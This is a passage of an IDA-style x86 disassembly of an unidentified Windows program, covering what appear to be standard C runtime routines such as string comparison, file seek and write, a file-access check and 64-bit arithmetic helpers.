		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-1Ah]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp-1Eh]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_24]
		and	edx, 0FFFFh
		push	edx
		call	sub_42D9A0
		add	esp, 1Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_0], 0
		jz	short loc_420EFA
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_420EFA:				; CODE XREF: sub_420D80+170j
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_420D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F10	proc near		; CODE XREF: sub_40E29B+18p
					; sub_4350B0+40p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4F34B0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_420F63
		mov	al, 0FFh
		mov	edi, edi

loc_420F2C:				; CODE XREF: sub_420F10+28j
					; sub_420F10+48j
		or	al, al
		jz	short loc_420F5E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_420F2C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_420F2C
		sbb	al, al
		sbb	al, 0FFh

loc_420F5E:				; CODE XREF: sub_420F10+1Ej
		movsx	eax, al
		jmp	short loc_420FDB
; ---------------------------------------------------------------------------

loc_420F63:				; CODE XREF: sub_420F10+16j
		lock inc dword_4F3888
		cmp	dword_4F3884, 0
		jg	short loc_420F77
		push	0
		jmp	short loc_420F8C
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F10+61j
		lock dec dword_4F3888
		push	13h
		call	sub_423280
		mov	[esp+10h+var_10], 1

loc_420F8C:				; CODE XREF: sub_420F10+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop

loc_420F94:				; CODE XREF: sub_420F10+90j
					; sub_420F10+A8j
		or	al, al
		jz	short loc_420FBF
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_420F94
		push	eax
		push	ebx
		call	sub_421D30
		mov	ebx, eax
		add	esp, 4
		call	sub_421D30
		add	esp, 4
		cmp	bl, al
		jz	short loc_420F94
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_420FBF:				; CODE XREF: sub_420F10+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_420FCF
		lock dec dword_4F3888
		jmp	short loc_420FD9
; ---------------------------------------------------------------------------

loc_420FCF:				; CODE XREF: sub_420F10+B4j
		push	13h
		call	sub_423320
		add	esp, 4

loc_420FD9:				; CODE XREF: sub_420F10+BDj
		mov	eax, ebx

loc_420FDB:				; CODE XREF: sub_420F10+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_420F10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FE0	proc near		; CODE XREF: sub_41206F+26Ep
					; sub_41206F+377p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_420FE7:				; CODE XREF: sub_420FE0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42100B
		push	offset dword_43C504
		push	0
		push	65h
		push	offset dword_43CDB8
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42100B
		int	3		; Trap to Debugger

loc_42100B:				; CODE XREF: sub_420FE0+Bj
					; sub_420FE0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420FE7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422420
		add	esp, 4
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421050
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421050	proc near		; CODE XREF: sub_420FE0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_421057:				; CODE XREF: sub_421050+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42107E
		push	offset dword_43C514
		push	0
		push	92h
		push	offset dword_43CDB8
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42107E
		int	3		; Trap to Debugger

loc_42107E:				; CODE XREF: sub_421050+Bj
					; sub_421050+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_421057
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_4210AB
		cmp	[ebp+arg_8], 0
		jz	short loc_4210BE
		cmp	[ebp+arg_8], 1
		jz	short loc_4210BE
		cmp	[ebp+arg_8], 2
		jz	short loc_4210BE

loc_4210AB:				; CODE XREF: sub_421050+47j
		call	sub_429A90
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_421170
; ---------------------------------------------------------------------------

loc_4210BE:				; CODE XREF: sub_421050+4Dj
					; sub_421050+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_4210EE
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42E6A0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0

loc_4210EE:				; CODE XREF: sub_421050+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_422F20
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42111B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_42114F
; ---------------------------------------------------------------------------

loc_42111B:				; CODE XREF: sub_421050+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42114F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_42114F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_42114F
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h

loc_42114F:				; CODE XREF: sub_421050+C9j
					; sub_421050+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_42E4E0
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax

loc_421170:				; CODE XREF: sub_421050+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421180	proc near		; CODE XREF: sub_4133AE+19Ep
					; sub_414103+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_421199
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_421199:				; CODE XREF: sub_421180+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_421180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211C0	proc near		; CODE XREF: sub_416B2D+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_422420
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421200
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4211C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421200	proc near		; CODE XREF: sub_4211C0+20p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_421229
		xor	eax, eax
		jmp	loc_421415
; ---------------------------------------------------------------------------

loc_421229:				; CODE XREF: sub_421200+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_421244
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_42124B
; ---------------------------------------------------------------------------

loc_421244:				; CODE XREF: sub_421200+37j
		mov	[ebp+var_1C], 1000h

loc_42124B:				; CODE XREF: sub_421200+42j
					; sub_421200:loc_42140Dj
		cmp	[ebp+var_C], 0
		jz	loc_421412
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	short loc_4212D9
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4212D9
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_421281
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_42128A
; ---------------------------------------------------------------------------

loc_421281:				; CODE XREF: sub_421200+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx

loc_42128A:				; CODE XREF: sub_421200+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_42140D
; ---------------------------------------------------------------------------

loc_4212D9:				; CODE XREF: sub_421200+63j
					; sub_421200+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_4213AF
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		and	eax, 108h
		test	eax, eax
		jz	short loc_421314
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_422F20
		add	esp, 4
		test	eax, eax
		jz	short loc_421314
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_421415
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_421200+F2j
					; sub_421200+102j
		cmp	[ebp+var_1C], 0
		jz	short loc_42132C
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_421332
; ---------------------------------------------------------------------------

loc_42132C:				; CODE XREF: sub_421200+118j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx

loc_421332:				; CODE XREF: sub_421200+12Aj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42E940
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_421377
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_421415
; ---------------------------------------------------------------------------

loc_421377:				; CODE XREF: sub_421200+156j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnb	short loc_4213AD
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_421415
; ---------------------------------------------------------------------------

loc_4213AD:				; CODE XREF: sub_421200+18Fj
		jmp	short loc_42140D
; ---------------------------------------------------------------------------

loc_4213AF:				; CODE XREF: sub_421200+DFj
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_427CE0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4213DA
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_421415
; ---------------------------------------------------------------------------

loc_4213DA:				; CODE XREF: sub_421200+1CBj
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+18h], 0
		jle	short loc_421400
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_28], eax
		jmp	short loc_421407
; ---------------------------------------------------------------------------

loc_421400:				; CODE XREF: sub_421200+1F3j
		mov	[ebp+var_28], 1

loc_421407:				; CODE XREF: sub_421200+1FEj
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_1C], ecx

loc_42140D:				; CODE XREF: sub_421200+D4j
					; sub_421200:loc_4213ADj
		jmp	loc_42124B
; ---------------------------------------------------------------------------

loc_421412:				; CODE XREF: sub_421200+4Fj
		mov	eax, [ebp+arg_8]

loc_421415:				; CODE XREF: sub_421200+24j
					; sub_421200+10Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421420	proc near		; CODE XREF: sub_417264+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F536C	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42144B
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42147C
; ---------------------------------------------------------------------------

loc_42144B:				; CODE XREF: sub_421420+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42147A
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_42147A
		call	sub_429A90
		mov	dword ptr [eax], 0Dh
		call	sub_429AA0
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_42147C
; ---------------------------------------------------------------------------

loc_42147A:				; CODE XREF: sub_421420+33j
					; sub_421420+3Dj
		xor	eax, eax

loc_42147C:				; CODE XREF: sub_421420+29j
					; sub_421420+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_421420	endp


; =============== S U B	R O U T	I N E =======================================



sub_421480	proc near		; CODE XREF: sub_41727E+3Fp
					; sub_41B605+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4214A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4214E3
; ---------------------------------------------------------------------------

loc_4214A2:				; CODE XREF: sub_421480+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_4214B0:				; CODE XREF: sub_421480+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4214B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4214DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4214DE
		jb	short loc_4214DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4214DF

loc_4214DE:				; CODE XREF: sub_421480+4Ej
					; sub_421480+54j
		dec	esi

loc_4214DF:				; CODE XREF: sub_421480+56j
					; sub_421480+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4214E3:				; CODE XREF: sub_421480+20j
		pop	esi
		pop	ebx
		retn	10h
sub_421480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4214F0	proc near		; CODE XREF: sub_41727E+2Dp
					; sub_41B605+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_421511
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_421561
; ---------------------------------------------------------------------------

loc_421511:				; CODE XREF: sub_4214F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_42151F:				; CODE XREF: sub_4214F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_42151F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_42154A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_42154A
		jb	short loc_421552
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_421552

loc_42154A:				; CODE XREF: sub_4214F0+4Aj
					; sub_4214F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_421552:				; CODE XREF: sub_4214F0+52j
					; sub_4214F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_421561:				; CODE XREF: sub_4214F0+1Fj
		pop	ebx
		retn	10h
sub_4214F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421570	proc near		; CODE XREF: sub_41738D+5Ep
					; sub_41738D+8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_421591
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_421591:				; CODE XREF: sub_421570+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4215AD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_4215AD:				; CODE XREF: sub_421570+27j
		or	eax, eax
		jnz	short loc_4215C9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_42160A
; ---------------------------------------------------------------------------

loc_4215C9:				; CODE XREF: sub_421570+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4215D7:				; CODE XREF: sub_421570+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4215D7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_421605
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_421605
		jb	short loc_421606
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_421606

loc_421605:				; CODE XREF: sub_421570+85j
					; sub_421570+8Bj
		dec	esi

loc_421606:				; CODE XREF: sub_421570+8Dj
					; sub_421570+93j
		xor	edx, edx
		mov	eax, esi

loc_42160A:				; CODE XREF: sub_421570+57j
		dec	edi
		jnz	short loc_421614
		neg	edx
		neg	eax
		sbb	edx, 0

loc_421614:				; CODE XREF: sub_421570+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_421570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421620	proc near		; CODE XREF: sub_417A3E+BFp
					; sub_417A3E+12Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_8], 0
		cmp	dword_4F34B8, 0
		jnz	short loc_42167D
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		jmp	short loc_421647
; ---------------------------------------------------------------------------

loc_42163E:				; CODE XREF: sub_421620:loc_421673j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx

loc_421647:				; CODE XREF: sub_421620+1Cj
		mov	edx, [ebp+var_10]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_421675
		mov	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 61h
		jl	short loc_421673
		mov	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 7Ah
		jg	short loc_421673
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		add	al, 0E0h
		mov	ecx, [ebp+var_10]
		mov	[ecx], al

loc_421673:				; CODE XREF: sub_421620+3Aj
					; sub_421620+45j
		jmp	short loc_42163E
; ---------------------------------------------------------------------------

loc_421675:				; CODE XREF: sub_421620+2Fj
		mov	eax, [ebp+arg_0]
		jmp	loc_4217DB
; ---------------------------------------------------------------------------

loc_42167D:				; CODE XREF: sub_421620+14j
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_4216AF
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_C], 1
		jmp	short loc_4216B6
; ---------------------------------------------------------------------------

loc_4216AF:				; CODE XREF: sub_421620+6Fj
		mov	[ebp+var_C], 0

loc_4216B6:				; CODE XREF: sub_421620+8Dj
		cmp	dword_4F34B8, 0
		jnz	short loc_421724
		cmp	[ebp+var_C], 0
		jz	short loc_4216D1
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_4216DC
; ---------------------------------------------------------------------------

loc_4216D1:				; CODE XREF: sub_421620+A3j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_4216DC:				; CODE XREF: sub_421620+AFj
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_14], edx
		jmp	short loc_4216ED
; ---------------------------------------------------------------------------

loc_4216E4:				; CODE XREF: sub_421620:loc_42171Aj
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax

loc_4216ED:				; CODE XREF: sub_421620+C2j
		mov	ecx, [ebp+var_14]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42171C
		mov	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_42171A
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_42171A
		mov	ecx, [ebp+var_14]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_14]
		mov	[eax], dl

loc_42171A:				; CODE XREF: sub_421620+E0j
					; sub_421620+EBj
		jmp	short loc_4216E4
; ---------------------------------------------------------------------------

loc_42171C:				; CODE XREF: sub_421620+D5j
		mov	eax, [ebp+arg_0]
		jmp	loc_4217DB
; ---------------------------------------------------------------------------

loc_421724:				; CODE XREF: sub_421620+9Dj
		push	1
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	200h
		mov	edx, dword_4F34B8
		push	edx
		call	sub_42EC50
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_421751
		jmp	short loc_4217AD
; ---------------------------------------------------------------------------

loc_421751:				; CODE XREF: sub_421620+12Dj
		push	62h
		push	offset dword_43CDC0
		push	2
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_421771
		jmp	short loc_4217AD
; ---------------------------------------------------------------------------

loc_421771:				; CODE XREF: sub_421620+14Dj
		push	1
		push	0
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		push	0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		push	eax
		push	200h
